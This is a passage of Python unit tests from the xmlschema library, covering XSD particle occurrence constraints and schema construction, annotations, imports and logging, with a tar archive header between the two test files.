TestParticleMixin(unittest.TestCase): @classmethod def setUpClass(cls): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') cls.schema = XMLSchema10(xsd_file) def test_occurs_property(self): self.assertEqual(self.schema.elements['cars'].occurs, (1, 1)) self.assertEqual(self.schema.elements['cars'].type.content[0].occurs, (0, None)) def test_effective_min_occurs_property(self): self.assertEqual(self.schema.elements['cars'].effective_min_occurs, 1) self.assertEqual(self.schema.elements['cars'].type.content[0].effective_min_occurs, 0) def test_effective_max_occurs_property(self): self.assertEqual(self.schema.elements['cars'].effective_max_occurs, 1) self.assertIsNone(self.schema.elements['cars'].type.content[0].effective_max_occurs) def test_is_emptiable(self): self.assertFalse(self.schema.elements['cars'].is_emptiable()) self.assertTrue(self.schema.elements['cars'].type.content[0].is_emptiable()) def test_is_empty(self): self.assertFalse(self.schema.elements['cars'].is_empty()) self.assertFalse(ParticleMixin().is_empty()) self.assertTrue(ParticleMixin(min_occurs=0, max_occurs=0).is_empty()) def test_is_single(self): self.assertTrue(self.schema.elements['cars'].is_single()) self.assertFalse(self.schema.elements['cars'].type.content[0].is_single()) # The base method is used only by xs:any wildcards wildcard = self.schema.meta_schema.types['anyType'].content[0] self.assertFalse(wildcard.is_single()) def test_is_multiple(self): self.assertFalse(self.schema.elements['cars'].is_multiple()) def test_is_ambiguous(self): self.assertFalse(self.schema.elements['cars'].is_ambiguous()) self.assertTrue(self.schema.elements['cars'].type.content[0].is_ambiguous()) def test_is_univocal(self): self.assertTrue(self.schema.elements['cars'].is_univocal()) self.assertFalse(self.schema.elements['cars'].type.content[0].is_univocal()) def test_occurs_checkers(self): xsd_element = self.schema.elements['cars'] occurs = Counter() self.assertTrue(xsd_element.is_missing(occurs)) self.assertFalse(xsd_element.is_over(occurs)) self.assertFalse(xsd_element.is_exceeded(occurs)) occurs[xsd_element] += 1 self.assertFalse(xsd_element.is_missing(occurs)) self.assertTrue(xsd_element.is_over(occurs)) self.assertFalse(xsd_element.is_exceeded(occurs)) occurs[xsd_element] += 1 self.assertFalse(xsd_element.is_missing(occurs)) self.assertTrue(xsd_element.is_over(occurs)) self.assertTrue(xsd_element.is_exceeded(occurs)) xsd_element = self.schema.elements['cars'].type.content[0] # car self.assertTrue(xsd_element.min_occurs == 0) self.assertTrue(xsd_element.max_occurs is None) self.assertFalse(xsd_element.is_missing(occurs)) self.assertFalse(xsd_element.is_over(occurs)) self.assertFalse(xsd_element.is_exceeded(occurs)) occurs[xsd_element] += 1000 self.assertFalse(xsd_element.is_missing(occurs)) self.assertFalse(xsd_element.is_over(occurs)) self.assertFalse(xsd_element.is_exceeded(occurs)) def test_has_occurs_restriction(self): schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="barType"> <xs:sequence> <xs:element name="node0" /> <xs:element name="node1" minOccurs="0"/> <xs:element name="node2" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="node3" minOccurs="2" maxOccurs="unbounded"/> <xs:element name="node4" minOccurs="2" maxOccurs="10"/> <xs:element name="node5" minOccurs="4" maxOccurs="10"/> <xs:element name="node6" minOccurs="4" maxOccurs="9"/> <xs:element name="node7" minOccurs="1" maxOccurs="9"/> <xs:element name="node8" minOccurs="3" maxOccurs="11"/> <xs:element name="node9" minOccurs="0" maxOccurs="0"/> </xs:sequence> </xs:complexType> </xs:schema>""") xsd_group = schema.types['barType'].content for k in range(9): self.assertTrue( xsd_group[k].has_occurs_restriction(xsd_group[k]), msg="Fail for node%d" % k ) self.assertTrue(xsd_group[0].has_occurs_restriction(xsd_group[1])) self.assertFalse(xsd_group[1].has_occurs_restriction(xsd_group[0])) self.assertTrue(xsd_group[3].has_occurs_restriction(xsd_group[2])) self.assertFalse(xsd_group[2].has_occurs_restriction(xsd_group[1])) self.assertFalse(xsd_group[2].has_occurs_restriction(xsd_group[3])) self.assertTrue(xsd_group[4].has_occurs_restriction(xsd_group[3])) self.assertTrue(xsd_group[4].has_occurs_restriction(xsd_group[2])) self.assertFalse(xsd_group[4].has_occurs_restriction(xsd_group[5])) self.assertTrue(xsd_group[5].has_occurs_restriction(xsd_group[4])) self.assertTrue(xsd_group[6].has_occurs_restriction(xsd_group[5])) self.assertFalse(xsd_group[5].has_occurs_restriction(xsd_group[6])) self.assertFalse(xsd_group[7].has_occurs_restriction(xsd_group[6])) self.assertFalse(xsd_group[5].has_occurs_restriction(xsd_group[7])) self.assertTrue(xsd_group[6].has_occurs_restriction(xsd_group[7])) self.assertFalse(xsd_group[7].has_occurs_restriction(xsd_group[8])) self.assertFalse(xsd_group[8].has_occurs_restriction(xsd_group[7])) self.assertTrue(xsd_group[9].has_occurs_restriction(xsd_group[1])) self.assertTrue(xsd_group[9].has_occurs_restriction(xsd_group[2])) def test_default_parse_error(self): with self.assertRaises(ValueError) as ctx: ParticleMixin().parse_error('unexpected error') self.assertEqual(str(ctx.exception), 'unexpected error') def test_parse_particle(self): schema = XMLSchema10("""<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""") xsd_element = schema.elements['root'] elem = ElementTree.Element('root', minOccurs='1', maxOccurs='1') xsd_element._parse_particle(elem) elem = ElementTree.Element('root', minOccurs='2', maxOccurs='1') with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_particle(elem) self.assertIn("maxOccurs must be 'unbounded' or greater than minOccurs", str(ctx.exception)) elem = ElementTree.Element('root', minOccurs='-1', maxOccurs='1') with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_particle(elem) self.assertIn("minOccurs value must be a non negative integer", str(ctx.exception)) elem = ElementTree.Element('root', minOccurs='1', maxOccurs='-1') with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_particle(elem) self.assertIn("maxOccurs must be 'unbounded' or greater than minOccurs", str(ctx.exception)) elem = ElementTree.Element('root', minOccurs='1', maxOccurs='none') with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_particle(elem) self.assertIn("maxOccurs value must be a non negative integer or 'unbounded'", str(ctx.exception)) elem = ElementTree.Element('root', minOccurs='2') with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_particle(elem) self.assertIn("minOccurs must be lesser or equal than maxOccurs", str(ctx.exception)) elem = ElementTree.Element('root', minOccurs='none') with self.assertRaises(XMLSchemaParseError) as ctx: xsd_element._parse_particle(elem) self.assertIn("minOccurs value is not an integer value", str(ctx.exception)) def test_substitution(self): schema = XMLSchema11("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType"/> <xs:element name="alt-child" substitutionGroup="child"/> <xs:element name="child"/> <xs:element name="other"/> <xs:element name="unknown"/> <xs:complexType name="rootType"> <xs:choice maxOccurs="unbounded"> <xs:element ref="child"/> <xs:any notQName="child alt-child unknown"/> </xs:choice> </xs:complexType> </xs:schema>""") xsd_element = schema.elements['root'] self.assertFalse(schema.elements['alt-child'].is_substitute(xsd_element)) xsd_element = schema.elements['child'] self.assertTrue(schema.elements['alt-child'].is_substitute(xsd_element)) self.assertFalse(schema.elements['child'].is_substitute(xsd_element)) self.assertFalse(schema.elements['other'].is_substitute(xsd_element)) xsd_choice = schema.types['rootType'].content self.assertFalse(xsd_choice.is_substitute(xsd_element)) self.assertFalse(xsd_choice[0].is_substitute(xsd_element)) self.assertFalse(xsd_choice[1].is_substitute(xsd_element)) xml_data = "<root><child/><alt-child/></root>" self.assertTrue(schema.is_valid(xml_data)) xml_data = "<root><other/><alt-child/></root>" self.assertTrue(schema.is_valid(xml_data)) xml_data = "<root><unknown/></root>" self.assertFalse(schema.is_valid(xml_data)) def test_overall_min_and_max_occurs(self): schema = XMLSchema10(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="rootType" /> <xs:complexType name="rootType"> <xs:sequence minOccurs="1" maxOccurs="10"> <xs:element name="s0"/> <xs:group ref="group1" minOccurs="0" maxOccurs="0"/> <xs:element name="s1" /> <xs:group ref="group1" minOccurs="1" maxOccurs="unbounded"/> <xs:element name="s2" /> <xs:group ref="group2" minOccurs="2" maxOccurs="4"/> <xs:element name="s3" /> <xs:group ref="group2" minOccurs="3" maxOccurs="6"/> </xs:sequence> </xs:complexType> <xs:group name="group1"> <xs:choice> <xs:element name="n0" /> <xs:element name="n1" minOccurs="0" maxOccurs="0"/> <xs:element name="n2" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="n3" minOccurs="2" maxOccurs="unbounded"/> <xs:element name="n4" minOccurs="4" maxOccurs="5"/> </xs:choice> </xs:group> <xs:group name="group2"> <xs:choice> <xs:element name="n5" /> <xs:element name="n6" minOccurs="4" maxOccurs="9"/> <xs:element name="n7" minOccurs="1" maxOccurs="9"/> <xs:element name="n8" minOccurs="3" maxOccurs="11"/> <xs:element name="n9" minOccurs="0" maxOccurs="0"/> </xs:choice> </xs:group> </xs:schema>""")) root_element = schema.elements['root'] with self.assertRaises(XMLSchemaModelError): root_element.overall_min_occurs(ParticleMixin()) # noqa with self.assertRaises(XMLSchemaModelError): root_element.overall_max_occurs(ParticleMixin()) # noqa group = schema.groups['group1'] self.assertEqual(root_element.overall_min_occurs(group[0]), 0) self.assertIsNone(root_element.overall_max_occurs(group[0])) self.assertEqual(root_element.overall_min_occurs(group[1]), 0) self.assertEqual(root_element.overall_max_occurs(group[1]), 0) self.assertEqual(root_element.overall_min_occurs(group[2]), 0) self.assertIsNone(root_element.overall_max_occurs(group[2])) self.assertEqual(root_element.overall_min_occurs(group[3]), 0) self.assertIsNone(root_element.overall_max_occurs(group[3])) self.assertEqual(root_element.overall_min_occurs(group[3]), 0) self.assertIsNone(root_element.overall_max_occurs(group[3])) group = schema.groups['group2'] self.assertEqual(root_element.overall_min_occurs(group[0]), 2) self.assertEqual(root_element.overall_max_occurs(group[0]), 60) self.assertEqual(root_element.overall_min_occurs(group[1]), 8) self.assertEqual(root_element.overall_max_occurs(group[1]), 540) self.assertEqual(root_element.overall_min_occurs(group[2]), 2) self.assertEqual(root_element.overall_max_occurs(group[2]), 540) self.assertEqual(root_element.overall_min_occurs(group[3]), 6) self.assertEqual(root_element.overall_max_occurs(group[3]), 660) self.assertEqual(root_element.overall_min_occurs(group[4]), 0) self.assertEqual(root_element.overall_max_occurs(group[4]), 0) class TestOccursCalculator(unittest.TestCase): def test_repr(self): occurs = OccursCalculator() self.assertEqual(repr(occurs), 'OccursCalculator(0, 0)') def test_add(self): occurs = OccursCalculator() occurs += ParticleMixin(1, 2) self.assertEqual(occurs.occurs, (1, 2)) occurs += ParticleMixin(1, None) self.assertEqual(occurs.occurs, (2, None)) occurs.reset() self.assertEqual(occurs.occurs, (0, 0)) def test_mul(self): occurs = OccursCalculator() occurs *= ParticleMixin(1, 2) self.assertEqual(occurs.occurs, (0, 0)) occurs *= ParticleMixin(1, None) self.assertEqual(occurs.occurs, (0, 0)) occurs += ParticleMixin(1, 1) occurs *= ParticleMixin(1, 2) self.assertEqual(occurs.occurs, (1, 2)) occurs *= ParticleMixin(2, None) self.assertEqual(occurs.occurs, (2, None)) occurs *= ParticleMixin(3, None) self.assertEqual(occurs.occurs, (6, None)) occurs *= ParticleMixin(0, 0) self.assertEqual(occurs.occurs, (0, 0)) def test_sub(self): occurs = OccursCalculator() occurs += ParticleMixin(5, 10) self.assertEqual(occurs.occurs, (5, 10)) occurs -= ParticleMixin(1, 2) self.assertEqual(occurs.occurs, (4, 8)) occurs -= ParticleMixin(1, None) self.assertEqual(occurs.occurs, (3, 0)) occurs.reset() occurs += ParticleMixin(10, None) self.assertEqual(occurs.occurs, (10, None)) occurs -= ParticleMixin(1, 99999) self.assertEqual(occurs.occurs, (9, None)) occurs -= ParticleMixin(10, None) self.assertEqual(occurs.occurs, (0, None)) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD particles') ���������xmlschema-4.1.0/tests/validators/test_schemas.py����������������������������������������������������0000664�0000000�0000000�00000143746�15020401055�0022052�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import sys import unittest import logging import warnings import pathlib import pickle import os from textwrap import dedent from xml.etree.ElementTree import Element import xmlschema from xmlschema import XMLSchemaParseError, XMLSchemaIncludeWarning, XMLSchemaImportWarning from xmlschema.names import XML_NAMESPACE, XSD_ELEMENT, XSI_TYPE from xmlschema.locations import SCHEMAS_DIR from xmlschema.loaders import SchemaLoader from xmlschema.validators import XMLSchemaBase, XMLSchema10, XMLSchema11, \ XsdGlobals, XsdComponent from xmlschema.testing import SKIP_REMOTE_TESTS, XsdValidatorTestCase from xmlschema.validators.schemas import logger from xmlschema.validators.builders import XsdBuilders from xmlschema.validators import XMLSchemaValidationError, XsdComplexType, \ XsdAttributeGroup, XsdElement, XsdGroup class CustomXMLSchema(XMLSchema10): pass class TestXMLSchema10(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.parent.joinpath('test_cases') maxDiff = None class CustomXMLSchema(XMLSchema10): pass def test_schema_subclasses(self): self.assertIs(CustomXMLSchema.meta_schema, XMLSchema10.meta_schema) self.assertIs(self.CustomXMLSchema.meta_schema, self.schema_class.meta_schema) def test_schema_validation(self): schema = self.schema_class(self.vh_xsd_file) self.assertEqual(schema.validation, 'strict') schema = self.schema_class(self.vh_xsd_file, validation='lax') self.assertEqual(schema.validation, 'lax') schema = self.schema_class(self.vh_xsd_file, validation='skip') self.assertEqual(schema.validation, 'skip') with self.assertRaises(ValueError): self.schema_class(self.vh_xsd_file, validation='none') def test_schema_string_repr(self): schema = self.schema_class(self.vh_xsd_file) tmpl = "%s(name='vehicles.xsd', namespace='http://example.com/vehicles')" self.assertEqual(str(schema), tmpl % self.schema_class.__name__) def test_schema_copy(self): schema = self.vh_schema.copy() self.assertNotEqual(id(self.vh_schema), id(schema)) self.assertNotEqual(id(self.vh_schema.namespaces), id(schema.namespaces)) # The map is not automatically changed self.assertEqual(id(self.vh_schema.maps), id(schema.maps)) def test_schema_location_hints(self): with warnings.catch_warnings(record=True): warnings.simplefilter("always") schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns schema.xsd"> <xs:element name="root" /> </xs:schema>""")) self.assertEqual(schema.schema_location, [("http://xmlschema.test/ns", "schema.xsd")]) self.assertIsNone(schema.no_namespace_schema_location) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="schema.xsd"> <xs:element name="root" /> </xs:schema>""")) self.assertEqual(schema.schema_location, []) self.assertEqual(schema.no_namespace_schema_location, 'schema.xsd') def test_target_prefix(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root" /> </xs:schema>""")) self.assertEqual(schema.target_prefix, '') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root" /> </xs:schema>""")) self.assertEqual(schema.target_prefix, 'tns') def test_builtin_types(self): self.assertIn('string', self.schema_class.builtin_types()) with self.assertRaises(RuntimeError): self.schema_class.meta_schema.builtin_types() def test_resolve_qname(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <xs:element name="root" /> </xs:schema>""")) self.assertEqual(schema.resolve_qname('xs:element'), XSD_ELEMENT) self.assertEqual(schema.resolve_qname('xsi:type'), XSI_TYPE) self.assertEqual(schema.resolve_qname(XSI_TYPE), XSI_TYPE) self.assertEqual(schema.resolve_qname('element'), 'element') self.assertRaises(ValueError, schema.resolve_qname, '') self.assertRaises(ValueError, schema.resolve_qname, 'xsi:a type ') self.assertRaises(ValueError, schema.resolve_qname, 'xml::lang') def test_global_group_definitions(self): schema = self.check_schema(""" <xs:group name="wrong_child"> <xs:element name="foo"/> </xs:group>""", validation='lax') self.assertEqual(len(schema.errors), 1) self.assertEqual(len(schema.all_errors), 2) # error in xs:group self.assertEqual(schema.total_errors, 2) self.check_schema('<xs:group name="empty" />', XMLSchemaParseError) self.check_schema('<xs:group name="empty"><xs:annotation/></xs:group>', XMLSchemaParseError) def test_wrong_includes_and_imports(self): with warnings.catch_warnings(record=True) as context: warnings.simplefilter("always") self.check_schema(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns"> <xs:include schemaLocation="example.xsd" /> <xs:import schemaLocation="example.xsd" /> <xs:redefine schemaLocation="example.xsd"/> <xs:import namespace="http://missing.example.test/" /> <xs:import/> </xs:schema> """) self.assertEqual(len(context), 3, "Wrong number of include/import warnings") self.assertEqual(context[0].category, XMLSchemaIncludeWarning) self.assertEqual(context[1].category, XMLSchemaImportWarning) self.assertEqual(context[2].category, XMLSchemaIncludeWarning) self.assertTrue(str(context[0].message).startswith("Include")) self.assertTrue(str(context[1].message).startswith("Import of namespace")) self.assertTrue(str(context[2].message).startswith("Redefine")) def test_import_mismatch_with_locations__issue_324(self): xsd1_path = self.casepath('../test_cases/features/namespaces/import-case5a.xsd') xsd2_path = self.casepath('../test_cases/features/namespaces/import-case5b.xsd') xsd3_path = self.casepath('../test_cases/features/namespaces/import-case5c.xsd') schema = self.schema_class(xsd1_path, locations=[ ('http://xmlschema.test/other-ns', xsd2_path), ('http://xmlschema.test/other-ns2', xsd3_path), ]) self.assertTrue(schema.built) with self.assertRaises(xmlschema.XMLSchemaParseError): self.schema_class(xsd1_path, locations=[ ('http://xmlschema.test/wrong-ns', xsd2_path), ('http://xmlschema.test/wrong-ns2', xsd3_path), ]) def test_wrong_references(self): # Wrong namespace for element type's reference self.check_schema(""" <xs:element name="dimension" type="xs:dimensionType"/> <xs:simpleType name="dimensionType"> <xs:restriction base="xs:short"/> </xs:simpleType> """, XMLSchemaParseError) def test_annotations(self): schema = self.check_schema(""" <xs:element name='foo'> <xs:annotation /> </xs:element>""") xsd_element = schema.elements['foo'] self.assertIsNotNone(xsd_element.annotation) self.check_schema(""" <xs:simpleType name='Magic'> <xs:annotation /> <xs:annotation /> <xs:restriction base='xs:string'> <xs:enumeration value='A'/> </xs:restriction> </xs:simpleType>""", XMLSchemaParseError) schema = self.check_schema(""" <xs:simpleType name='Magic'> <xs:annotation> <xs:documentation> stuff </xs:documentation> </xs:annotation> <xs:restriction base='xs:string'> <xs:enumeration value='A'/> </xs:restriction> </xs:simpleType>""") xsd_type = schema.types["Magic"] self.assertEqual(str(xsd_type.annotation), ' stuff ') def test_components(self): components = self.col_schema.components self.assertIsInstance(components, dict) self.assertEqual(len(components), 25) for elem, component in components.items(): self.assertIsInstance(component, XsdComponent) self.assertIs(elem, component.elem) def test_annotation_string(self): schema = self.check_schema(""" <xs:element name='A'> <xs:annotation> <xs:documentation>A element info</xs:documentation> </xs:annotation> </xs:element> <xs:element name='B'> <xs:annotation> <xs:documentation>B element extended info, line1</xs:documentation> <xs:documentation>B element extended info, line2</xs:documentation> </xs:annotation> </xs:element>""") xsd_element = schema.elements['A'] self.assertEqual(str(xsd_element.annotation), 'A element info') self.assertEqual(repr(xsd_element.annotation), "XsdAnnotation('A element info')") xsd_element = schema.elements['B'] self.assertEqual(str(xsd_element.annotation), 'B element extended info, line1\nB element extended info, line2') self.assertEqual(repr(xsd_element.annotation), "XsdAnnotation('B element extended info, line1\\nB element')") def test_schema_annotations(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""")) self.assertListEqual(schema.annotations, []) annotations = schema.annotations self.assertListEqual(annotations, []) self.assertIs(annotations, schema.annotations) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:annotation> <xs:documentation>First annotation</xs:documentation> </xs:annotation> <xs:annotation> <xs:documentation>Second annotation</xs:documentation> </xs:annotation> <xs:element name="root"/> <xs:annotation> <xs:documentation>Third annotation</xs:documentation> </xs:annotation> </xs:schema>""")) schema.clear() annotations = schema.annotations self.assertEqual(len(annotations), 3) self.assertEqual(repr(annotations[0]), "XsdAnnotation('First annotation')") self.assertEqual(repr(annotations[1]), "XsdAnnotation('Second annotation')") self.assertEqual(repr(annotations[2]), "XsdAnnotation('Third annotation')") self.assertIs(annotations, schema.annotations) def test_base_schemas(self): xsd_file = os.path.join(SCHEMAS_DIR, 'XML/xml.xsd') schema = self.schema_class(xsd_file) self.assertEqual(schema.target_namespace, XML_NAMESPACE) def test_root_elements(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"/>""")) self.assertEqual(schema.root_elements, []) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" /> </xs:schema>""")) self.assertEqual(schema.root_elements, [schema.elements['root']]) # Test issue #107 fix schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root1" type="root"/> <xs:element name="root2" type="root"/> <xs:complexType name="root"> <xs:sequence> <xs:element name="elementWithNoType"/> </xs:sequence> </xs:complexType> </xs:schema>""")) self.assertEqual(set(schema.root_elements), {schema.elements['root1'], schema.elements['root2']}) def test_simple_types(self): self.assertListEqual(self.vh_schema.simple_types, []) self.assertGreater(len(self.st_schema.simple_types), 20) def test_complex_types(self): self.assertListEqual(self.vh_schema.complex_types, [self.vh_schema.types['vehicleType']]) def test_is_restriction_method(self): # Test issue #111 fix schema = self.schema_class(source=self.casepath('issues/issue_111/issue_111.xsd')) extended_header_def = schema.types['extendedHeaderDef'] self.assertTrue(extended_header_def.is_derived(schema.types['blockDef'])) @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") def test_remote_schemas_loading(self): col_schema = self.schema_class("https://raw.githubusercontent.com/brunato/xmlschema/master/" "tests/test_cases/examples/collection/collection.xsd", timeout=300) self.assertTrue(isinstance(col_schema, self.schema_class)) vh_schema = self.schema_class("https://raw.githubusercontent.com/brunato/xmlschema/master/" "tests/test_cases/examples/vehicles/vehicles.xsd", timeout=300) self.assertTrue(isinstance(vh_schema, self.schema_class)) def test_schema_defuse(self): vh_schema = self.schema_class(self.vh_xsd_file, defuse='always') self.assertIsInstance(vh_schema.root, Element) for schema in vh_schema.maps.iter_schemas(): self.assertIsInstance(schema.root, Element) def test_logging(self): self.schema_class(self.vh_xsd_file, loglevel=logging.ERROR) self.assertEqual(logger.level, logging.WARNING) with self.assertLogs('xmlschema', level='INFO') as ctx: self.schema_class(self.vh_xsd_file, loglevel=logging.INFO) self.assertEqual(logger.level, logging.WARNING) self.assertEqual(len(ctx.output), 7) self.assertIn("INFO:xmlschema:Process xs:include schema from ", ctx.output[0]) with self.assertLogs('xmlschema', level='DEBUG') as ctx: self.schema_class(self.vh_xsd_file, loglevel=logging.DEBUG) self.assertEqual(logger.level, logging.WARNING) self.assertEqual(len(ctx.output), 32) self.assertIn("DEBUG:xmlschema:Schema targetNamespace is " "'http://example.com/vehicles'", ctx.output) # With string argument with self.assertRaises(ValueError) as ctx: self.schema_class(self.vh_xsd_file, loglevel='all') self.assertEqual(str(ctx.exception), "'all' is not a valid loglevel") with self.assertLogs('xmlschema', level='INFO') as ctx: self.schema_class(self.vh_xsd_file, loglevel='INFO') self.assertEqual(len(ctx.output), 7) with self.assertLogs('xmlschema', level='INFO') as ctx: self.schema_class(self.vh_xsd_file, loglevel=' Info ') self.assertEqual(len(ctx.output), 7) def test_target_namespace(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(schema.target_namespace, 'http://xmlschema.test/ns') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(schema.target_namespace, '') with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace=""> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(ctx.exception.message, "the attribute 'targetNamespace' cannot be an empty string") def test_block_default(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="extension restriction "> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(schema.block_default, 'extension restriction ') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="#all"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(set(schema.block_default.split()), {'substitution', 'extension', 'restriction'}) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="all">> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(ctx.exception.message, "wrong value 'all' for attribute 'blockDefault'") with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" blockDefault="#all restriction">> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(ctx.exception.message, "wrong value '#all restriction' for attribute 'blockDefault'") def test_final_default(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" finalDefault="extension restriction "> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(schema.final_default, 'extension restriction ') schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" finalDefault="#all"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(set(schema.final_default.split()), {'list', 'union', 'extension', 'restriction'}) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" finalDefault="all">> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(ctx.exception.message, "wrong value 'all' for attribute 'finalDefault'") def test_use_fallback(self): source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""") schema = self.schema_class(source) self.assertEqual(schema.maps.loader.fallback_locations, SchemaLoader.fallback_locations) schema = self.schema_class(source, use_fallback=False) self.assertEqual(schema.maps.loader.fallback_locations, {}) def test_global_maps(self): source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""") col_schema = self.schema_class(self.col_xsd_file) with self.assertRaises(TypeError) as ctx: self.schema_class(self.col_schema, global_maps=col_schema) # noqa self.assertIn(" for argument 'source'", str(ctx.exception)) schema = self.schema_class(source, global_maps=col_schema.maps) self.assertIs(col_schema.maps, schema.maps) def test_version_control(self): schema = self.schema_class(dedent(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:attribute name="a" use="required"/> <xs:assert test="@a > 300" vc:minVersion="1.1" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning"/> </xs:complexType> </xs:element> </xs:schema>""")) self.assertEqual(len(schema.root[0][0]), 1 if schema.XSD_VERSION == '1.0' else 2) schema = self.schema_class(dedent(""" <xs:schema vc:minVersion="1.1" elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning"> <xs:element name="root"/> </xs:schema>""")) self.assertEqual(len(schema.root), 0 if schema.XSD_VERSION == '1.0' else 1) def test_xsd_version_compatibility_property(self): self.assertEqual(self.vh_schema.xsd_version, self.vh_schema.XSD_VERSION) def test_explicit_locations(self): source = dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""") locations = {'http://example.com/vehicles': self.vh_xsd_file} schema = self.schema_class(source, locations=locations) self.assertEqual(len(schema.maps.namespaces['http://example.com/vehicles']), 4) def test_use_meta_property(self): self.assertTrue(self.vh_schema.use_meta) self.assertTrue(self.col_schema.use_meta) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="foo"/> </xs:schema>"""), use_meta=False) self.assertIs(self.schema_class.meta_schema, schema.meta_schema) self.assertFalse(schema.use_meta) def test_other_schema_root_attributes(self): self.assertIsNone(self.vh_schema.id) self.assertIsNone(self.vh_schema.version) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" id="foo" version="2.0"> <xs:element name="foo"/> </xs:schema>""")) self.assertEqual(schema.id, 'foo') self.assertEqual(schema.version, '2.0') def test_change_maps_attribute(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>""")) self.assertTrue(schema.built) with self.assertRaises(AttributeError) as ctx: schema.meta_schema.maps = XsdGlobals(schema.copy()) self.assertEqual(str(ctx.exception), 